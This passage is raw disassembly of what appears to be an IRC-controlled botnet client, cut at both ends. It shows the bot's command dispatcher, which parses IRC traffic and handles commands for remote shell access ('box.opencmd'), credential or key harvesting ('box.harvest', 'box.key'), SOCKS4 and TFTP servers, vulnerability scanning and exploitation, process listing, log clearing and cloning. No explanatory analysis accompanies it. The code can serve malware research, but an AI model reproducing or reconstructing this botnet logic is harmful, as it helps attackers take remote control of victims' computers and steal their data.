ebx lea eax, [ebp-4ACh] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 24h jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40D35B: ; CODE XREF: seg000:0040D214j push esi push offset aPart ; "PART" call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40D37D push esi push offset aQuit ; "QUIT" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D3A4 loc_40D37D: ; CODE XREF: seg000:0040D36Aj mov edi, [ebp+20h] xor esi, esi loc_40D382: ; CODE XREF: seg000:0040D3A2j cmp [edi], bl jz short loc_40D398 push dword ptr [ebp-94h] push edi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40D3F2 loc_40D398: ; CODE XREF: seg000:0040D384j inc esi add edi, 80h cmp esi, 2 jl short loc_40D382 loc_40D3A4: ; CODE XREF: seg000:0040D37Bj push dword ptr [ebp-90h] push offset a353 ; "353" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D453 push dword ptr [ebp-84h] push dword ptr [ebp+10h] call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D3DB mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_40D3DB: ; CODE XREF: seg000:0040D3D0j push dword ptr [ebp-84h] push offset dword_436498 loc_40D3E6: ; CODE XREF: seg000:004123B2j ; seg000:0041272Bj ... call sub_40B1C5 pop ecx loc_40D3EC: ; CODE XREF: seg000:00412840j pop ecx jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40D3F2: ; CODE XREF: seg000:0040D396j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset dword_436464 push eax call sub_4154CD lea eax, [ebp-2C8h] push eax call sub_40B151 push dword ptr [ebp-90h] push offset aPart ; "PART" call sub_4158F0 add esp, 18h test eax, eax jnz loc_40D1FD lea eax, [ebp-2C8h] push eax mov eax, [ebp-94h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40D1F2 ; --------------------------------------------------------------------------- loc_40D453: ; CODE XREF: seg000:0040D3B8j push dword ptr [ebp-90h] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4158F0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D4A7 push dword ptr [ebp-90h] push edi call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40D4A7 push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_412974 cmp ds:dword_42C15C, ebx jz loc_412974 loc_40D4A7: ; CODE XREF: seg000:0040D46Dj ; seg000:0040D47Fj push dword ptr [ebp-90h] push esi call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40D62D push dword ptr [ebp-90h] push edi call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40D62D mov eax, [ebp-88h] inc dword ptr [ebp-84h] push 4 mov [ebp-8Ch], eax pop esi mov [ebp-0ACh], esi loc_40D4EE: ; CODE XREF: seg000:0040D6E9j ; seg000:0040D77Aj ... shl esi, 2 mov eax, [ebp+esi-94h] lea edi, [ebp+esi-94h] push eax push offset dword_436448 mov [ebp+10h], eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D927 push dword ptr [ebp+esi-90h] push offset aSend_0 ; "SEND" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D7E5 cmp [ebp-98h], ebx jz loc_40D7BB push dword ptr [ebp+esi-8Ch] mov edi, offset aS_1 ; "%s" lea eax, [ebp-6FCh] push edi push eax call sub_4154CD push dword ptr [ebp+esi-88h] lea eax, [ebp-710h] push edi push eax call sub_4154CD push dword ptr [ebp+esi-84h] call sub_415A3F mov [ebp-578h], eax mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push 7Fh push eax lea eax, [ebp-5F8h] push eax call sub_416D20 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-5F8h] push eax lea eax, [ebp-6FCh] push eax lea eax, [ebp-2C8h] push offset dword_436400 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 12h push eax call sub_414F79 add esp, 44h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push 40BA98h push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz loc_40D7AA loc_40D617: ; CODE XREF: seg000:0040D62Bj cmp [ebp-568h], ebx jnz loc_40D7DD push 32h call ds:dword_421060 ; Sleep jmp short loc_40D617 ; --------------------------------------------------------------------------- loc_40D62D: ; CODE XREF: seg000:0040D4B7j ; seg000:0040D4CDj push dword ptr [ebp-90h] push edi call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40D646 mov dword ptr [ebp-4], 1 loc_40D646: ; CODE XREF: seg000:0040D63Dj cmp [ebp-8Ch], ebx jz loc_40D1FD push (offset loc_4263DB+1) push dword ptr [ebp-8Ch] call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_40D66D cmp [ebp-4], ebx jz short loc_40D679 loc_40D66D: ; CODE XREF: seg000:0040D666j lea eax, [ebp-0C4h] mov [ebp-8Ch], eax loc_40D679: ; CODE XREF: seg000:0040D66Bj cmp [ebp-88h], ebx jz loc_40D1FD inc dword ptr [ebp-88h] jz short loc_40D6C5 cmp [ebp+18h], ebx jz short loc_40D6C5 lea eax, [ebp-564h] push eax call sub_415CD0 push eax lea eax, [ebp-564h] push dword ptr [ebp-88h] push eax call sub_416EB0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp-0ACh], esi jmp short loc_40D6CB ; --------------------------------------------------------------------------- loc_40D6C5: ; CODE XREF: seg000:0040D68Bj ; seg000:0040D690j mov esi, [ebp-0ACh] loc_40D6CB: ; CODE XREF: seg000:0040D6C3j mov edi, [ebp+esi*4-94h] cmp edi, ebx jz loc_40D1FD push edi push offset dword_4363F4 call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D4EE mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz short loc_40D76B mov eax, ds:dword_46897C mov eax, ds:off_42C224[eax*4] cmp [eax], bl jz short loc_40D76B push eax push ecx push offset dword_4363D8 push dword ptr [ebp+0Ch] call sub_412CEC lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4154CD lea eax, [ebp-2C8h] push eax call sub_40B151 add esp, 20h cmp [ebp-98h], ebx jnz loc_40D1FD push ebx lea eax, [ebp-2C8h] push 1 push eax push offset dword_468884 loc_40D75B: ; CODE XREF: seg000:0041212Dj push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40D76B: ; CODE XREF: seg000:0040D6F8j ; seg000:0040D708j push edi push offset dword_4363B4 call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D4EE mov eax, [ebp+esi*4-90h] cmp eax, ebx jz loc_40D4EE mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz loc_40D4EE push eax push ecx push offset dword_43639C jmp loc_40D1F2 ; --------------------------------------------------------------------------- loc_40D7AA: ; CODE XREF: seg000:0040D611j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_436350 jmp loc_40D913 ; --------------------------------------------------------------------------- loc_40D7BB: ; CODE XREF: seg000:0040D538j lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp+esi-8Ch] push offset dword_4362FC push eax call sub_4154CD add esp, 10h loc_40D7DD: ; CODE XREF: seg000:0040D61Dj ; seg000:0040D8DBj ... push 1 pop esi jmp loc_40EF8E ; --------------------------------------------------------------------------- loc_40D7E5: ; CODE XREF: seg000:0040D52Cj push dword ptr [ebp+esi-90h] push offset aChat ; "CHAT" call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_40D93D cmp [ebp-98h], ebx jz loc_40D907 push 13h call sub_4151C1 test eax, eax pop ecx jnz loc_40D8F9 push dword ptr [ebp+esi-88h] lea eax, [ebp-710h] push offset aS_1 ; "%s" push eax call sub_4154CD push dword ptr [ebp+esi-84h] call sub_415A3F mov [ebp-578h], eax mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push 7Fh push eax lea eax, [ebp-5F8h] push eax call sub_416D20 mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset dword_4362C0 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 13h push eax call sub_414F79 add esp, 34h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push offset loc_40B535 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_40D8EB loc_40D8D5: ; CODE XREF: seg000:0040D8E9j cmp [ebp-568h], ebx jnz loc_40D7DD push 32h call ds:dword_421060 ; Sleep jmp short loc_40D8D5 ; --------------------------------------------------------------------------- loc_40D8EB: ; CODE XREF: seg000:0040D8D3j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_436278 jmp short loc_40D913 ; --------------------------------------------------------------------------- loc_40D8F9: ; CODE XREF: seg000:0040D816j lea eax, [ebp-0C4h] push eax push offset dword_436234 jmp short loc_40D913 ; --------------------------------------------------------------------------- loc_40D907: ; CODE XREF: seg000:0040D806j lea eax, [ebp-0C4h] push eax push offset dword_4361F0 loc_40D913: ; CODE XREF: seg000:0040D7B6j ; seg000:0040D8F7j ... lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch jmp loc_40D7DD ; --------------------------------------------------------------------------- loc_40D927: ; CODE XREF: seg000:0040D511j mov eax, [ebp+10h] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_42C164 mov [edi], ecx jnz loc_40D1FD loc_40D93D: ; CODE XREF: seg000:0040D7FAj mov edi, [edi] push edi push offset aNewshit0 ; "newshit0" mov [ebp+10h], edi call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41297C push edi push offset aHi_0 ; "hi" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41297C cmp [ebp-98h], ebx jnz short loc_40D98E push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_412974 loc_40D98E: ; CODE XREF: seg000:0040D972j cmp [ebp+30h], ebx jnz loc_412974 xor edi, edi cmp ds:dword_42E764, ebx jle loc_40DB3A mov dword ptr [ebp+28h], offset dword_43E788 loc_40D9AC: ; CODE XREF: seg000:0040D9CBj push dword ptr [ebp+10h] push dword ptr [ebp+28h] call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40D9D2 add dword ptr [ebp+28h], 0B8h inc edi cmp edi, ds:dword_42E764 jl short loc_40D9AC jmp loc_40DB3A ; --------------------------------------------------------------------------- loc_40D9D2: ; CODE XREF: seg000:0040D9BBj push offset asc_43656C ; " :" push dword ptr [ebp+8] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz loc_40D1FD mov cl, ds:byte_42C164 imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_42C164 mov [eax+3], cl lea ecx, dword_43E7A0[edi] push 9Fh add eax, 4 push ecx push eax call sub_416D20 lea eax, [ebp+esi-54h] add esp, 0Ch mov dword ptr [ebp+28h], 0Fh mov [ebp+14h], eax loc_40DA27: ; CODE XREF: seg000:0040DACFj push dword ptr [ebp+28h] lea eax, [ebp-0A4h] push offset aD_1 ; "$%d-" push eax call sub_4154CD lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_415AA0 add esp, 14h test eax, eax jz short loc_40DA93 mov eax, [ebp+14h] cmp [eax], ebx jz short loc_40DA93 lea eax, dword_43E788[edi] push eax call sub_415CD0 add [ebp-0Ch], eax pop ecx jz short loc_40DAC5 mov eax, [ebp+14h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz short loc_40DAC5 push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_40998E add esp, 0Ch jmp short loc_40DAC5 ; --------------------------------------------------------------------------- loc_40DA93: ; CODE XREF: seg000:0040DA4Fj ; seg000:0040DA56j mov eax, [ebp+14h] cmp [eax], ebx jnz short loc_40DAC5 lea eax, [ebp-0A4h] push 2 push eax lea eax, [ebp-14h] push eax call sub_416D20 lea eax, [ebp-14h] mov [ebp-12h], bl push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_40998E add esp, 18h loc_40DAC5: ; CODE XREF: seg000:0040DA68j ; seg000:0040DA7Cj ... dec dword ptr [ebp+28h] sub dword ptr [ebp+14h], 4 cmp [ebp+28h], ebx jg loc_40DA27 lea eax, [ebp+esi-54h] mov dword ptr [ebp+28h], 10h mov edi, eax loc_40DAE2: ; CODE XREF: seg000:0040DB2Ej push dword ptr [ebp+28h] lea eax, [ebp-0A4h] push offset aD_0 ; "$%d" push eax call sub_4154CD lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_415AA0 add esp, 14h test eax, eax jz short loc_40DB25 mov eax, [edi] cmp eax, ebx jz short loc_40DB25 push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_40998E add esp, 0Ch loc_40DB25: ; CODE XREF: seg000:0040DB0Aj ; seg000:0040DB10j dec dword ptr [ebp+28h] sub edi, 4 cmp [ebp+28h], ebx jg short loc_40DAE2 mov dword ptr [ebp-0C8h], 1 loc_40DB3A: ; CODE XREF: seg000:0040D99Fj ; seg000:0040D9CDj mov eax, [ebp+10h] mov al, [eax] cmp al, ds:byte_42C164 jz short loc_40DB53 cmp [ebp-0C8h], ebx jz loc_40DD38 loc_40DB53: ; CODE XREF: seg000:0040DB45j push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe_0 ; "$me" push edi call sub_40998E lea eax, [ebp-0C4h] push eax push offset aUser_2 ; "$user" push edi call sub_40998E push dword ptr [ebp-8Ch] push offset aChan ; "$chan" push edi call sub_40998E push ebx push ebx lea eax, [ebp-0A4h] push 2 push eax call sub_414419 push eax push offset aRndnick ; "$rndnick" push edi call sub_40998E add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_2 ; "$server" push edi call sub_40998E mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_415AA0 add esp, 14h loc_40DBC5: ; CODE XREF: seg000:0040DCB1j test eax, eax jz loc_40DCB6 push edi push dword ptr [ebp+8] call sub_415AA0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A4h] push eax call sub_416D20 lea eax, [ebp-0A4h] push offset asc_4361A0 ; ")" push eax call sub_416C78 add esp, 1Ch cmp byte ptr [ebp-0A4h], 30h jl short loc_40DC11 cmp byte ptr [ebp-0A4h], 39h jle short loc_40DC27 loc_40DC11: ; CODE XREF: seg000:0040DC06j push 3 lea eax, [ebp-0A4h] push offset a63 ; "63" push eax call sub_416D20 add esp, 0Ch loc_40DC27: ; CODE XREF: seg000:0040DC0Fj lea eax, [ebp-0A4h] push eax call sub_415A3F test eax, eax pop ecx jle short loc_40DC4A lea eax, [ebp-0A4h] push eax call sub_415A3F pop ecx mov [ebp-14h], al jmp short loc_40DC5B ; --------------------------------------------------------------------------- loc_40DC4A: ; CODE XREF: seg000:0040DC36j call sub_415529 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-14h], dl loc_40DC5B: ; CODE XREF: seg000:0040DC48j lea eax, [ebp-0A4h] mov [ebp-13h], bl push eax call sub_415CD0 mov [ebp+28h], eax push 0Ch lea eax, [ebp-0A4h] push ebx push eax call sub_415550 mov eax, [ebp+28h] add eax, 6 push eax lea eax, [ebp-0A4h] push dword ptr [ebp+18h] push eax call sub_416D20 lea eax, [ebp-14h] push eax lea eax, [ebp-0A4h] push eax push dword ptr [ebp+8] call sub_40998E push edi push dword ptr [ebp+8] call sub_415AA0 add esp, 30h jmp loc_40DBC5 ; --------------------------------------------------------------------------- loc_40DCB6: ; CODE XREF: seg000:0040DBC7j mov edi, 1FFh lea eax, [ebp-0F9Ch] push edi push dword ptr [ebp+8] push eax call sub_416D20 lea eax, [ebp-0F9Ch] push edi push eax lea eax, [ebp-119Ch] push eax call sub_416D20 lea eax, [ebp-119Ch] push offset asc_4269C8 ; " " push eax call sub_416C78 add esp, 20h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp+18h], 1Fh loc_40DD06: ; CODE XREF: seg000:0040DD1Bj push offset asc_4269C8 ; " " push ebx call sub_416C78 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_40DD06 mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] cmp ecx, ebx jz loc_40D1FD add ecx, 3 mov [eax], ecx loc_40DD38: ; CODE XREF: seg000:0040DB4Dj mov edi, [ebp+esi-94h] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+10h], edi call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412927 push edi push offset aEnz_rn ; "enz.rn" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412927 push edi push offset aEnz_endsess ; "enz.endsess" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412905 push edi push offset aEnz_d ; "enz.d" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412905 push edi push offset aEnz_logout ; "enz.logout" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412863 push edi push offset aEnz_lo ; "enz.lo" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412863 push edi push offset aEnz_version ; "enz.version" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412845 push edi push offset aEnz_ver ; "enz.ver" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412845 push edi push offset aLockdown_on ; "lockdown.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412730 push edi push offset aLd_on ; "ld.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412730 push edi push offset aLockdown_off ; "lockdown.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412730 push edi push offset aLd_off ; "ld.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412730 push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41260E push edi push offset aServer_s4_on ; "server.s4.on" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41260E push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DEA8 push dword ptr [ebp+esi-90h] push 11h push offset aServer ; "Server" push offset dword_4360D0 loc_40DE8C: ; CODE XREF: seg000:0040DECCj ; seg000:0040DEF2j ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_415207 add esp, 20h jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_40DEA8: ; CODE XREF: seg000:0040DE77j push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DECE push dword ptr [ebp+esi-90h] push 6 push offset aServer ; "Server" push offset dword_4360AC jmp short loc_40DE8C ; --------------------------------------------------------------------------- loc_40DECE: ; CODE XREF: seg000:0040DEB7j push edi push offset dword_43609C call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DEF4 push dword ptr [ebp+esi-90h] push 3 push offset aServer ; "Server" push offset dword_436090 jmp short loc_40DE8C ; --------------------------------------------------------------------------- loc_40DEF4: ; CODE XREF: seg000:0040DEDDj push edi push offset dword_436088 call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DF1D push dword ptr [ebp+esi-90h] push 1Ch push offset dword_43607C push offset dword_436070 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DF1D: ; CODE XREF: seg000:0040DF03j push edi push offset aServer_redirec ; "server.redirect.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DF46 push dword ptr [ebp+esi-90h] push 10h push offset dword_43604C push offset dword_43603C jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DF46: ; CODE XREF: seg000:0040DF2Cj push edi push offset dword_436030 call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DF6F push dword ptr [ebp+esi-90h] push 0Ah push offset dword_436024 push offset dword_436018 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DF6F: ; CODE XREF: seg000:0040DF55j push edi push offset dword_436008 call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DF98 push dword ptr [ebp+esi-90h] push 0Bh push offset dword_435FFC push offset dword_435FF0 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DF98: ; CODE XREF: seg000:0040DF7Ej push edi push offset dword_435FE0 call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DFC1 push dword ptr [ebp+esi-90h] push 0Fh push offset dword_435FD4 push offset dword_435FC8 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DFC1: ; CODE XREF: seg000:0040DFA7j push edi push offset dword_435FB8 call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40DFEA push dword ptr [ebp+esi-90h] push 0Eh push offset dword_435FAC push offset dword_435FA0 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40DFEA: ; CODE XREF: seg000:0040DFD0j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E013 push dword ptr [ebp+esi-90h] push 4 push offset aServer ; "Server" push offset dword_435F84 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40E013: ; CODE XREF: seg000:0040DFF9j push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125F6 push edi push offset aBox_ff_off ; "box.ff.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125F6 push edi push offset aBox_procs_off ; "box.procs.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125DE push edi push offset aBox_ps_off ; "box.ps.off" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125DE push edi push offset aClone_off ; "clone.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E090 push dword ptr [ebp+esi-90h] push 17h push offset aClone ; "Clone" push offset dword_435F24 jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40E090: ; CODE XREF: seg000:0040E076j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E0B9 push dword ptr [ebp+esi-90h] push 19h push offset aSecure_0 ; "Secure" push offset dword_435EFC jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40E0B9: ; CODE XREF: seg000:0040E09Fj push edi push offset aVuln_stop ; "vuln.stop" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E0E2 push dword ptr [ebp+esi-90h] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40E0E2: ; CODE XREF: seg000:0040E0C8j push edi push offset aVuln_stats ; "vuln.stats" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125C8 push edi push offset aVuln_st ; "vuln.st" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125C8 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125A7 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4125A7 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412585 push edi push offset aEnz_et3 ; "enz.et3" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412585 push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41253D push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41253D push edi push offset aEnz_status ; "enz.status" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4124FF push edi push offset aEnz_s ; "enz.s" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4124FF push edi push offset aEnz_id ; "enz.id" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4124C8 push edi push offset aEnz_i ; "enz.i" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4124C8 push edi push offset aBox_rebewt ; "box.rebewt" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E230 call sub_409DD7 test eax, eax mov eax, offset dword_435E20 jnz short loc_40E202 mov eax, offset dword_435DE8 loc_40E202: ; CODE XREF: seg000:0040E1FBj push eax lea eax, [ebp-2C8h] push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 1Ch jmp loc_40D7DD ; --------------------------------------------------------------------------- loc_40E230: ; CODE XREF: seg000:0040E1EDj push edi push offset aThreads_list ; "threads.list" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aThreads_l ; "threads.l" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4123D7 push edi push offset aEnz_aliases ; "enz.aliases" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4123B7 push edi push offset aEnz_al ; "enz.al" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4123B7 push edi push offset aEnz_log ; "enz.log" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4122C7 push edi push offset aEnz_lg ; "enz.lg" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4122C7 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4122AE push edi push offset aUtil_clg ; "util.clg" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4122AE push edi push offset aBox_netinfo ; "box.netinfo" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412277 push edi push offset aBox_ni ; "box.ni" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412277 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41224C push edi push offset aBox_si ; "box.si" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41224C push edi push offset aEnz_be010ne ; "enz.be010ne" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412212 push edi push offset aEnz_010 ; "enz.010" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412212 push edi push offset aBox_procs ; "box.procs" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412109 push edi push offset aBox_ps ; "box.ps" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412109 push edi push offset aBox_harvest ; "box.harvest" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4120DF push edi push offset aBox_key ; "box.key" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_4120DF push edi push offset aBox_uptime ; "box.uptime" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41205B push edi push offset aBox_up ; "box.up" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41205B push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41203E push edi push offset aBox_drv ; "box.drv" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_41203E push edi push offset aBox_testdlls ; "box.testdlls" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412025 push edi push offset aBox_dll ; "box.dll" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_412025 push edi push offset aBox_opencmd ; "box.opencmd" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411FDE push edi push offset aBox_ocmd ; "box.ocmd" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_411FDE push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E47B push dword ptr [ebp+esi-90h] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40DE8C ; --------------------------------------------------------------------------- loc_40E47B: ; CODE XREF: seg000:0040E461j push edi push offset aEnz_who ; "enz.who" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_40E508 cmp [ebp-8], ebx jnz short loc_40E4AB push ebx push dword ptr [ebp-4] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_40E4AB: ; CODE XREF: seg000:0040E48Fj mov edi, [ebp+20h] xor esi, esi loc_40E4B0: ; CODE XREF: seg000:0040E4F6j cmp [edi], bl lea eax, [edi+1] jnz short loc_40E4BC mov eax, offset aEmpty ; "<Empty>" loc_40E4BC: ; CODE XREF: seg000:0040E4B5j push eax push esi lea eax, [ebp-2C8h] push offset aD_S ; "%d. %s" push eax call sub_4154CD push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40E4B0 push offset dword_435C48 loc_40E4FD: ; CODE XREF: seg000:004124C3j call 